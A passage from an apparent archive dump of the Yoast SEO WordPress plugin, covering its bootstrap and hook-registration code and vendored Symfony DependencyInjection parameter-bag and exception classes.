		new WPSEO_Upgrade();
		// Get a cleaned up version of the $options.
	}

	$GLOBALS['wpseo_rewrite'] = new WPSEO_Rewrite();

	if ( WPSEO_Options::get( 'enable_xml_sitemap', null, [ 'wpseo' ] ) === true ) {
		$GLOBALS['wpseo_sitemaps'] = new WPSEO_Sitemaps();
	}

	if ( ! wp_doing_ajax() ) {
		require_once WPSEO_PATH . 'inc/wpseo-non-ajax-functions.php';
	}

	$integrations   = [];
	$integrations[] = new WPSEO_Slug_Change_Watcher();

	foreach ( $integrations as $integration ) {
		$integration->register_hooks();
	}
}

/**
 * Loads the rest api endpoints.
 *
 * @return void
 */
function wpseo_init_rest_api() {
	// We can't do anything when requirements are not met.
	if ( ! WPSEO_Utils::is_api_available() ) {
		return;
	}

	// Boot up REST API.
	$statistics_service = new WPSEO_Statistics_Service( new WPSEO_Statistics() );

	$endpoints   = [];
	$endpoints[] = new WPSEO_Endpoint_File_Size( new WPSEO_File_Size_Service() );
	$endpoints[] = new WPSEO_Endpoint_Statistics( $statistics_service );

	foreach ( $endpoints as $endpoint ) {
		$endpoint->register();
	}
}

/**
 * Used to load the required files on the plugins_loaded hook, instead of immediately.
 *
 * @return void
 */
function wpseo_admin_init() {
	new WPSEO_Admin_Init();
}

/* ***************************** BOOTSTRAP / HOOK INTO WP *************************** */
$spl_autoload_exists = function_exists( 'spl_autoload_register' );

if ( ! $spl_autoload_exists ) {
	add_action( 'admin_init', 'yoast_wpseo_missing_spl', 1 );
}

if ( ! wp_installing() && ( $spl_autoload_exists ) ) {
	add_action( 'plugins_loaded', 'wpseo_init', 14 );
	add_action( 'setup_theme', [ 'Yoast_Dynamic_Rewrites', 'instance' ], 1 );
	add_action( 'rest_api_init', 'wpseo_init_rest_api' );

	if ( is_admin() ) {

		new Yoast_Notifications();

		$yoast_addon_manager = new WPSEO_Addon_Manager();
		$yoast_addon_manager->register_hooks();

		if ( wp_doing_ajax() ) {
			require_once WPSEO_PATH . 'admin/ajax.php';

			// Plugin conflict ajax hooks.
			new Yoast_Plugin_Conflict_Ajax();

			// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Reason: We are not processing form information but only loading the admin init class.
			if ( isset( $_POST['action'] ) && is_string( $_POST['action'] ) ) {
				// phpcs:ignore WordPress.Security.NonceVerification.Missing,WordPress.Security.ValidatedSanitizedInput.InputNotSanitized -- Reason: We are not processing form information but only loading the admin init class, We are strictly comparing only.
				if ( wp_unslash( $_POST['action'] ) === 'inline-save' ) {
					add_action( 'plugins_loaded', 'wpseo_admin_init', 15 );
				}
			}
		}
		else {
			add_action( 'plugins_loaded', 'wpseo_admin_init', 15 );
		}
	}

	add_action( 'plugins_loaded', 'load_yoast_notifications' );

	add_action( 'init', [ 'WPSEO_Replace_Vars', 'setup_statics_once' ] );

	// Initializes the Yoast indexables for the first time.
	YoastSEO();

	/**
	 * Action called when the Yoast SEO plugin file has loaded.
	 */
	do_action( 'wpseo_loaded' );
}

// Activation and deactivation hook.
register_activation_hook( WPSEO_FILE, 'wpseo_activate' );
register_deactivation_hook( WPSEO_FILE, 'wpseo_deactivate' );

add_action( 'wp_initialize_site', 'wpseo_on_activate_blog', 99 );
add_action( 'activate_blog', 'wpseo_on_activate_blog' );

// Registers SEO capabilities.
$wpseo_register_capabilities = new WPSEO_Register_Capabilities();
$wpseo_register_capabilities->register_hooks();

// Registers SEO roles.
$wpseo_register_capabilities = new WPSEO_Register_Roles();
$wpseo_register_capabilities->register_hooks();

/**
 * Wraps for notifications center class.
 *
 * @return void
 */
function load_yoast_notifications() {
	// Init Yoast_Notification_Center class.
	Yoast_Notification_Center::get();
}


/**
 * Throw an error if the PHP SPL extension is disabled (prevent white screens) and self-deactivate plugin.
 *
 * @since 1.5.4
 *
 * @return void
 */
function yoast_wpseo_missing_spl() {
	if ( is_admin() ) {
		add_action( 'admin_notices', 'yoast_wpseo_missing_spl_notice' );

		yoast_wpseo_self_deactivate();
	}
}

/**
 * Returns the notice in case of missing spl extension.
 *
 * @return void
 */
function yoast_wpseo_missing_spl_notice() {
	$message = esc_html__( 'The Standard PHP Library (SPL) extension seem to be unavailable. Please ask your web host to enable it.', 'wordpress-seo' );
	yoast_wpseo_activation_failed_notice( $message );
}

/**
 * Throw an error if the Composer autoload is missing and self-deactivate plugin.
 *
 * @return void
 */
function yoast_wpseo_missing_autoload() {
	if ( is_admin() ) {
		add_action( 'admin_notices', 'yoast_wpseo_missing_autoload_notice' );

		yoast_wpseo_self_deactivate();
	}
}

/**
 * Returns the notice in case of missing Composer autoload.
 *
 * @return void
 */
function yoast_wpseo_missing_autoload_notice() {
	/* translators: %1$s expands to Yoast SEO, %2$s / %3$s: links to the installation manual in the Readme for the Yoast SEO code repository on GitHub */
	$message = esc_html__( 'The %1$s plugin installation is incomplete. Please refer to %2$sinstallation instructions%3$s.', 'wordpress-seo' );
	$message = sprintf( $message, 'Yoast SEO', '<a href="https://github.com/Yoast/wordpress-seo#installation">', '</a>' );
	yoast_wpseo_activation_failed_notice( $message );
}

/**
 * Throw an error if the filter extension is disabled (prevent white screens) and self-deactivate plugin.
 *
 * @since 2.0
 * @deprecated 23.3
 * @codeCoverageIgnore
 *
 * @return void
 */
function yoast_wpseo_missing_filter() {
	_deprecated_function( __FUNCTION__, 'Yoast SEO 23.3' );
}

/**
 * Returns the notice in case of missing filter extension.
 *
 * @deprecated 23.3
 * @codeCoverageIgnore
 *
 * @return void
 */
function yoast_wpseo_missing_filter_notice() {
	_deprecated_function( __FUNCTION__, 'Yoast SEO 23.3' );
}

/**
 * Echo's the Activation failed notice with any given message.
 *
 * @param string $message Message string.
 *
 * @return void
 */
function yoast_wpseo_activation_failed_notice( $message ) {
	$title = sprintf(
		/* translators: %s: Yoast SEO. */
		esc_html__( '%s activation failed', 'wordpress-seo' ),
		'Yoast SEO'
	);

	// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped -- This function is only called in 3 places that are safe.
	echo '<div class="error yoast-migrated-notice"><h4 class="yoast-notice-migrated-header">' . $title . '</h4><div class="notice-yoast-content"><p>' . strip_tags( $message, '<a>' ) . '</p></div></div>';
}

/**
 * The method will deactivate the plugin, but only once, done by the static $is_deactivated.
 *
 * @return void
 */
function yoast_wpseo_self_deactivate() {
	static $is_deactivated;

	if ( $is_deactivated === null ) {
		$is_deactivated = true;
		deactivate_plugins( WPSEO_BASENAME );
		if ( isset( $_GET['activate'] ) ) {
			unset( $_GET['activate'] );
		}
	}
}

/**
 * Aliasses added in order to keep compatibility with Yoast SEO: Local.
 */
class_alias( '\Yoast\WP\SEO\Initializers\Initializer_Interface', '\Yoast\WP\SEO\WordPress\Initializer' );
class_alias( '\Yoast\WP\SEO\Loadable_Interface', '\Yoast\WP\SEO\WordPress\Loadable' );
class_alias( '\Yoast\WP\SEO\Integrations\Integration_Interface', '\Yoast\WP\SEO\WordPress\Integration' );
wordpress-seo/vendor_prefixed/symfony/dependency-injection/Argument/RewindableGenerator.php000064400000001613147510273070026572 0ustar00<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\Argument;

/**
 * @internal
 */
class RewindableGenerator implements \IteratorAggregate, \Countable
{
    private $generator;
    private $count;
    /**
     * @param int|callable $count
     */
    public function __construct(callable $generator, $count)
    {
        $this->generator = $generator;
        $this->count = $count;
    }
    public function getIterator()
    {
        $g = $this->generator;
        return $g();
    }
    public function count()
    {
        if (\is_callable($count = $this->count)) {
            $this->count = $count();
        }
        return $this->count;
    }
}
wordpress-seo/vendor_prefixed/symfony/dependency-injection/ContainerInterface.php000064400000005677147510273070024646 0ustar00<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection;

use YoastSEO_Vendor\Psr\Container\ContainerInterface as PsrContainerInterface;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\InvalidArgumentException;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ServiceCircularReferenceException;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ServiceNotFoundException;
/**
 * ContainerInterface is the interface implemented by service container classes.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 * @author Johannes M. Schmitt <schmittjoh@gmail.com>
 */
interface ContainerInterface extends \YoastSEO_Vendor\Psr\Container\ContainerInterface
{
    const EXCEPTION_ON_INVALID_REFERENCE = 1;
    const NULL_ON_INVALID_REFERENCE = 2;
    const IGNORE_ON_INVALID_REFERENCE = 3;
    const IGNORE_ON_UNINITIALIZED_REFERENCE = 4;
    /**
     * Sets a service.
     *
     * @param string      $id      The service identifier
     * @param object|null $service The service instance
     */
    public function set($id, $service);
    /**
     * Gets a service.
     *
     * @param string $id              The service identifier
     * @param int    $invalidBehavior The behavior when the service does not exist
     *
     * @return object|null The associated service
     *
     * @throws ServiceCircularReferenceException When a circular reference is detected
     * @throws ServiceNotFoundException          When the service is not defined
     *
     * @see Reference
     */
    public function get($id, $invalidBehavior = self::EXCEPTION_ON_INVALID_REFERENCE);
    /**
     * Returns true if the given service is defined.
     *
     * @param string $id The service identifier
     *
     * @return bool true if the service is defined, false otherwise
     */
    public function has($id);
    /**
     * Check for whether or not a service has been initialized.
     *
     * @param string $id
     *
     * @return bool true if the service has been initialized, false otherwise
     */
    public function initialized($id);
    /**
     * Gets a parameter.
     *
     * @param string $name The parameter name
     *
     * @return mixed The parameter value
     *
     * @throws InvalidArgumentException if the parameter is not defined
     */
    public function getParameter($name);
    /**
     * Checks if a parameter exists.
     *
     * @param string $name The parameter name
     *
     * @return bool The presence of parameter in container
     */
    public function hasParameter($name);
    /**
     * Sets a parameter.
     *
     * @param string $name  The parameter name
     * @param mixed  $value The parameter value
     */
    public function setParameter($name, $value);
}
wordpress-seo/vendor_prefixed/symfony/dependency-injection/ParameterBag/FrozenParameterBag.php000064400000003633147510273070027141 0ustar00<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag;

use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\LogicException;
/**
 * Holds read-only parameters.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
class FrozenParameterBag extends \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\ParameterBag
{
    /**
     * For performance reasons, the constructor assumes that
     * all keys are already lowercased.
     *
     * This is always the case when used internally.
     *
     * @param array $parameters An array of parameters
     */
    public function __construct(array $parameters = [])
    {
        $this->parameters = $parameters;
        $this->resolved = \true;
    }
    /**
     * {@inheritdoc}
     */
    public function clear()
    {
        throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\LogicException('Impossible to call clear() on a frozen ParameterBag.');
    }
    /**
     * {@inheritdoc}
     */
    public function add(array $parameters)
    {
        throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\LogicException('Impossible to call add() on a frozen ParameterBag.');
    }
    /**
     * {@inheritdoc}
     */
    public function set($name, $value)
    {
        throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\LogicException('Impossible to call set() on a frozen ParameterBag.');
    }
    /**
     * {@inheritdoc}
     */
    public function remove($name)
    {
        throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\LogicException('Impossible to call remove() on a frozen ParameterBag.');
    }
}
wordpress-seo/vendor_prefixed/symfony/dependency-injection/ParameterBag/ParameterBag.php000064400000022671147510273070025760 0ustar00<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag;

use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ParameterCircularReferenceException;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ParameterNotFoundException;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\RuntimeException;
/**
 * Holds parameters.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
class ParameterBag implements \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\ParameterBagInterface
{
    protected $parameters = [];
    protected $resolved = \false;
    private $normalizedNames = [];
    /**
     * @param array $parameters An array of parameters
     */
    public function __construct(array $parameters = [])
    {
        $this->add($parameters);
    }
    /**
     * Clears all parameters.
     */
    public function clear()
    {
        $this->parameters = [];
    }
    /**
     * Adds parameters to the service container parameters.
     *
     * @param array $parameters An array of parameters
     */
    public function add(array $parameters)
    {
        foreach ($parameters as $key => $value) {
            $this->set($key, $value);
        }
    }
    /**
     * {@inheritdoc}
     */
    public function all()
    {
        return $this->parameters;
    }
    /**
     * {@inheritdoc}
     */
    public function get($name)
    {
        $name = $this->normalizeName($name);
        if (!\array_key_exists($name, $this->parameters)) {
            if (!$name) {
                throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ParameterNotFoundException($name);
            }
            $alternatives = [];
            foreach ($this->parameters as $key => $parameterValue) {
                $lev = \levenshtein($name, $key);
                if ($lev <= \strlen($name) / 3 || \false !== \strpos($key, $name)) {
                    $alternatives[] = $key;
                }
            }
            $nonNestedAlternative = null;
            if (!\count($alternatives) && \false !== \strpos($name, '.')) {
                $namePartsLength = \array_map('strlen', \explode('.', $name));
                $key = \substr($name, 0, -1 * (1 + \array_pop($namePartsLength)));
                while (\count($namePartsLength)) {
                    if ($this->has($key)) {
                        if (\is_array($this->get($key))) {
                            $nonNestedAlternative = $key;
                        }
                        break;
                    }
                    $key = \substr($key, 0, -1 * (1 + \array_pop($namePartsLength)));
                }
            }
            throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ParameterNotFoundException($name, null, null, null, $alternatives, $nonNestedAlternative);
        }
        return $this->parameters[$name];
    }
    /**
     * Sets a service container parameter.
     *
     * @param string $name  The parameter name
     * @param mixed  $value The parameter value
     */
    public function set($name, $value)
    {
        $this->parameters[$this->normalizeName($name)] = $value;
    }
    /**
     * {@inheritdoc}
     */
    public function has($name)
    {
        return \array_key_exists($this->normalizeName($name), $this->parameters);
    }
    /**
     * Removes a parameter.
     *
     * @param string $name The parameter name
     */
    public function remove($name)
    {
        unset($this->parameters[$this->normalizeName($name)]);
    }
    /**
     * {@inheritdoc}
     */
    public function resolve()
    {
        if ($this->resolved) {
            return;
        }
        $parameters = [];
        foreach ($this->parameters as $key => $value) {
            try {
                $value = $this->resolveValue($value);
                $parameters[$key] = $this->unescapeValue($value);
            } catch (\YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ParameterNotFoundException $e) {
                $e->setSourceKey($key);
                throw $e;
            }
        }
        $this->parameters = $parameters;
        $this->resolved = \true;
    }
    /**
     * Replaces parameter placeholders (%name%) by their values.
     *
     * @param mixed $value     A value
     * @param array $resolving An array of keys that are being resolved (used internally to detect circular references)
     *
     * @return mixed The resolved value
     *
     * @throws ParameterNotFoundException          if a placeholder references a parameter that does not exist
     * @throws ParameterCircularReferenceException if a circular reference if detected
     * @throws RuntimeException                    when a given parameter has a type problem
     */
    public function resolveValue($value, array $resolving = [])
    {
        if (\is_array($value)) {
            $args = [];
            foreach ($value as $k => $v) {
                $args[\is_string($k) ? $this->resolveValue($k, $resolving) : $k] = $this->resolveValue($v, $resolving);
            }
            return $args;
        }
        if (!\is_string($value) || 2 > \strlen($value)) {
            return $value;
        }
        return $this->resolveString($value, $resolving);
    }
    /**
     * Resolves parameters inside a string.
     *
     * @param string $value     The string to resolve
     * @param array  $resolving An array of keys that are being resolved (used internally to detect circular references)
     *
     * @return mixed The resolved string
     *
     * @throws ParameterNotFoundException          if a placeholder references a parameter that does not exist
     * @throws ParameterCircularReferenceException if a circular reference if detected
     * @throws RuntimeException                    when a given parameter has a type problem
     */
    public function resolveString($value, array $resolving = [])
    {
        // we do this to deal with non string values (Boolean, integer, ...)
        // as the preg_replace_callback throw an exception when trying
        // a non-string in a parameter value
        if (\preg_match('/^%([^%\\s]+)%$/', $value, $match)) {
            $key = $match[1];
            $lcKey = \strtolower($key);
            // strtolower() to be removed in 4.0
            if (isset($resolving[$lcKey])) {
                throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ParameterCircularReferenceException(\array_keys($resolving));
            }
            $resolving[$lcKey] = \true;
            return $this->resolved ? $this->get($key) : $this->resolveValue($this->get($key), $resolving);
        }
        return \preg_replace_callback('/%%|%([^%\\s]+)%/', function ($match) use($resolving, $value) {
            // skip %%
            if (!isset($match[1])) {
                return '%%';
            }
            $key = $match[1];
            $lcKey = \strtolower($key);
            // strtolower() to be removed in 4.0
            if (isset($resolving[$lcKey])) {
                throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ParameterCircularReferenceException(\array_keys($resolving));
            }
            $resolved = $this->get($key);
            if (!\is_string($resolved) && !\is_numeric($resolved)) {
                throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\RuntimeException(\sprintf('A string value must be composed of strings and/or numbers, but found parameter "%s" of type "%s" inside string value "%s".', $key, \gettype($resolved), $value));
            }
            $resolved = (string) $resolved;
            $resolving[$lcKey] = \true;
            return $this->isResolved() ? $resolved : $this->resolveString($resolved, $resolving);
        }, $value);
    }
    public function isResolved()
    {
        return $this->resolved;
    }
    /**
     * {@inheritdoc}
     */
    public function escapeValue($value)
    {
        if (\is_string($value)) {
            return \str_replace('%', '%%', $value);
        }
        if (\is_array($value)) {
            $result = [];
            foreach ($value as $k => $v) {
                $result[$k] = $this->escapeValue($v);
            }
            return $result;
        }
        return $value;
    }
    /**
     * {@inheritdoc}
     */
    public function unescapeValue($value)
    {
        if (\is_string($value)) {
            return \str_replace('%%', '%', $value);
        }
        if (\is_array($value)) {
            $result = [];
            foreach ($value as $k => $v) {
                $result[$k] = $this->unescapeValue($v);
            }
            return $result;
        }
        return $value;
    }
    private function normalizeName($name)
    {
        if (isset($this->normalizedNames[$normalizedName = \strtolower($name)])) {
            $normalizedName = $this->normalizedNames[$normalizedName];
            if ((string) $name !== $normalizedName) {
                @\trigger_error(\sprintf('Parameter names will be made case sensitive in Symfony 4.0. Using "%s" instead of "%s" is deprecated since Symfony 3.4.', $name, $normalizedName), \E_USER_DEPRECATED);
            }
        } else {
            $normalizedName = $this->normalizedNames[$normalizedName] = (string) $name;
        }
        return $normalizedName;
    }
}
wordpress-seo/vendor_prefixed/symfony/dependency-injection/ParameterBag/ParameterBagInterface.php000064400000005370147510273070027576 0ustar00<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag;

use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\LogicException;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ParameterNotFoundException;
/**
 * ParameterBagInterface.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
interface ParameterBagInterface
{
    /**
     * Clears all parameters.
     *
     * @throws LogicException if the ParameterBagInterface can not be cleared
     */
    public function clear();
    /**
     * Adds parameters to the service container parameters.
     *
     * @param array $parameters An array of parameters
     *
     * @throws LogicException if the parameter can not be added
     */
    public function add(array $parameters);
    /**
     * Gets the service container parameters.
     *
     * @return array An array of parameters
     */
    public function all();
    /**
     * Gets a service container parameter.
     *
     * @param string $name The parameter name
     *
     * @return mixed The parameter value
     *
     * @throws ParameterNotFoundException if the parameter is not defined
     */
    public function get($name);
    /**
     * Removes a parameter.
     *
     * @param string $name The parameter name
     */
    public function remove($name);
    /**
     * Sets a service container parameter.
     *
     * @param string $name  The parameter name
     * @param mixed  $value The parameter value
     *
     * @throws LogicException if the parameter can not be set
     */
    public function set($name, $value);
    /**
     * Returns true if a parameter name is defined.
     *
     * @param string $name The parameter name
     *
     * @return bool true if the parameter name is defined, false otherwise
     */
    public function has($name);
    /**
     * Replaces parameter placeholders (%name%) by their values for all parameters.
     */
    public function resolve();
    /**
     * Replaces parameter placeholders (%name%) by their values.
     *
     * @param mixed $value A value
     *
     * @throws ParameterNotFoundException if a placeholder references a parameter that does not exist
     */
    public function resolveValue($value);
    /**
     * Escape parameter placeholders %.
     *
     * @param mixed $value
     *
     * @return mixed
     */
    public function escapeValue($value);
    /**
     * Unescape parameter placeholders %.
     *
     * @param mixed $value
     *
     * @return mixed
     */
    public function unescapeValue($value);
}
vendor_prefixed/symfony/dependency-injection/ParameterBag/EnvPlaceholderParameterBag.php000064400000010007147510273070030503 0ustar00wordpress-seo<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag;

use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\InvalidArgumentException;
use YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\RuntimeException;
/**
 * @author Nicolas Grekas <p@tchwork.com>
 */
class EnvPlaceholderParameterBag extends \YoastSEO_Vendor\Symfony\Component\DependencyInjection\ParameterBag\ParameterBag
{
    private $envPlaceholders = [];
    private $providedTypes = [];
    /**
     * {@inheritdoc}
     */
    public function get($name)
    {
        if (0 === \strpos($name, 'env(') && ')' === \substr($name, -1) && 'env()' !== $name) {
            $env = \substr($name, 4, -1);
            if (isset($this->envPlaceholders[$env])) {
                foreach ($this->envPlaceholders[$env] as $placeholder) {
                    return $placeholder;
                    // return first result
                }
            }
            if (!\preg_match('/^(?:\\w++:)*+\\w++$/', $env)) {
                throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\InvalidArgumentException(\sprintf('Invalid "%s" name: only "word" characters are allowed.', $name));
            }
            if ($this->has($name)) {
                $defaultValue = parent::get($name);
                if (null !== $defaultValue && !\is_scalar($defaultValue)) {
                    throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\RuntimeException(\sprintf('The default value of an env() parameter must be scalar or null, but "%s" given to "%s".', \gettype($defaultValue), $name));
                }
            }
            $uniqueName = \md5($name . \uniqid(\mt_rand(), \true));
            $placeholder = \sprintf('env_%s_%s', \str_replace(':', '_', $env), $uniqueName);
            $this->envPlaceholders[$env][$placeholder] = $placeholder;
            return $placeholder;
        }
        return parent::get($name);
    }
    /**
     * Returns the map of env vars used in the resolved parameter values to their placeholders.
     *
     * @return string[][] A map of env var names to their placeholders
     */
    public function getEnvPlaceholders()
    {
        return $this->envPlaceholders;
    }
    /**
     * Merges the env placeholders of another EnvPlaceholderParameterBag.
     */
    public function mergeEnvPlaceholders(self $bag)
    {
        if ($newPlaceholders = $bag->getEnvPlaceholders()) {
            $this->envPlaceholders += $newPlaceholders;
            foreach ($newPlaceholders as $env => $placeholders) {
                $this->envPlaceholders[$env] += $placeholders;
            }
        }
    }
    /**
     * Maps env prefixes to their corresponding PHP types.
     */
    public function setProvidedTypes(array $providedTypes)
    {
        $this->providedTypes = $providedTypes;
    }
    /**
     * Gets the PHP types corresponding to env() parameter prefixes.
     *
     * @return string[][]
     */
    public function getProvidedTypes()
    {
        return $this->providedTypes;
    }
    /**
     * {@inheritdoc}
     */
    public function resolve()
    {
        if ($this->resolved) {
            return;
        }
        parent::resolve();
        foreach ($this->envPlaceholders as $env => $placeholders) {
            if (!$this->has($name = "env({$env})")) {
                continue;
            }
            if (\is_numeric($default = $this->parameters[$name])) {
                $this->parameters[$name] = (string) $default;
            } elseif (null !== $default && !\is_scalar($default)) {
                throw new \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\RuntimeException(\sprintf('The default value of env parameter "%s" must be scalar or null, "%s" given.', $env, \gettype($default)));
            }
        }
    }
}
wordpress-seo/vendor_prefixed/symfony/dependency-injection/Exception/ServiceNotFoundException.php000064400000003556147510273070027767 0ustar00<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception;

use YoastSEO_Vendor\Psr\Container\NotFoundExceptionInterface;
/**
 * This exception is thrown when a non-existent service is requested.
 *
 * @author Johannes M. Schmitt <schmittjoh@gmail.com>
 */
class ServiceNotFoundException extends \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\InvalidArgumentException implements \YoastSEO_Vendor\Psr\Container\NotFoundExceptionInterface
{
    private $id;
    private $sourceId;
    private $alternatives;
    public function __construct($id, $sourceId = null, \Exception $previous = null, array $alternatives = [], $msg = null)
    {
        if (null !== $msg) {
            // no-op
        } elseif (null === $sourceId) {
            $msg = \sprintf('You have requested a non-existent service "%s".', $id);
        } else {
            $msg = \sprintf('The service "%s" has a dependency on a non-existent service "%s".', $sourceId, $id);
        }
        if ($alternatives) {
            if (1 == \count($alternatives)) {
                $msg .= ' Did you mean this: "';
            } else {
                $msg .= ' Did you mean one of these: "';
            }
            $msg .= \implode('", "', $alternatives) . '"?';
        }
        parent::__construct($msg, 0, $previous);
        $this->id = $id;
        $this->sourceId = $sourceId;
        $this->alternatives = $alternatives;
    }
    public function getId()
    {
        return $this->id;
    }
    public function getSourceId()
    {
        return $this->sourceId;
    }
    public function getAlternatives()
    {
        return $this->alternatives;
    }
}
wordpress-seo/vendor_prefixed/symfony/dependency-injection/Exception/EnvNotFoundException.php000064400000001300147510273070027100 0ustar00<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception;

/**
 * This exception is thrown when an environment variable is not found.
 *
 * @author Nicolas Grekas <p@tchwork.com>
 */
class EnvNotFoundException extends \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\InvalidArgumentException
{
    public function __construct($name)
    {
        parent::__construct(\sprintf('Environment variable not found: "%s".', $name));
    }
}
wordpress-seo/vendor_prefixed/symfony/dependency-injection/Exception/RuntimeException.php000064400000001113147510273070026320 0ustar00<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception;

/**
 * Base RuntimeException for Dependency Injection component.
 *
 * @author Johannes M. Schmitt <schmittjoh@gmail.com>
 */
class RuntimeException extends \RuntimeException implements \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ExceptionInterface
{
}
wordpress-seo/vendor_prefixed/symfony/dependency-injection/Exception/InvalidArgumentException.php000064400000001151147510273070027770 0ustar00<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception;

/**
 * Base InvalidArgumentException for Dependency Injection component.
 *
 * @author Bulat Shakirzyanov <bulat@theopenskyproject.com>
 */
class InvalidArgumentException extends \InvalidArgumentException implements \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\ExceptionInterface
{
}
vendor_prefixed/symfony/dependency-injection/Exception/ServiceCircularReferenceException.php000064400000002101147510273070031520 0ustar00wordpress-seo<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception;

/**
 * This exception is thrown when a circular reference is detected.
 *
 * @author Johannes M. Schmitt <schmittjoh@gmail.com>
 */
class ServiceCircularReferenceException extends \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\RuntimeException
{
    private $serviceId;
    private $path;
    public function __construct($serviceId, array $path, \Exception $previous = null)
    {
        parent::__construct(\sprintf('Circular reference detected for service "%s", path: "%s".', $serviceId, \implode(' -> ', $path)), 0, $previous);
        $this->serviceId = $serviceId;
        $this->path = $path;
    }
    public function getServiceId()
    {
        return $this->serviceId;
    }
    public function getPath()
    {
        return $this->path;
    }
}
vendor_prefixed/symfony/dependency-injection/Exception/ParameterCircularReferenceException.php000064400000001757147510273070032060 0ustar00wordpress-seo<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception;

/**
 * This exception is thrown when a circular reference in a parameter is detected.
 *
 * @author Fabien Potencier <fabien@symfony.com>
 */
class ParameterCircularReferenceException extends \YoastSEO_Vendor\Symfony\Component\DependencyInjection\Exception\RuntimeException
{
    private $parameters;
    public function __construct($parameters, \Exception $previous = null)
    {
        parent::__construct(\sprintf('Circular reference detected for parameter "%s" ("%s" > "%s").', $parameters[0], \implode('" > "', $parameters), $parameters[0]), 0, $previous);
        $this->parameters = $parameters;
    }
    public function getParameters()
    {
        return $this->parameters;
    }
}
wordpress-seo/vendor_prefixed/symfony/dependency-injection/Exception/LogicException.php000064400000001014147510273070025732 0ustar00<?php

/*
 * This file is part of the Symfony package.
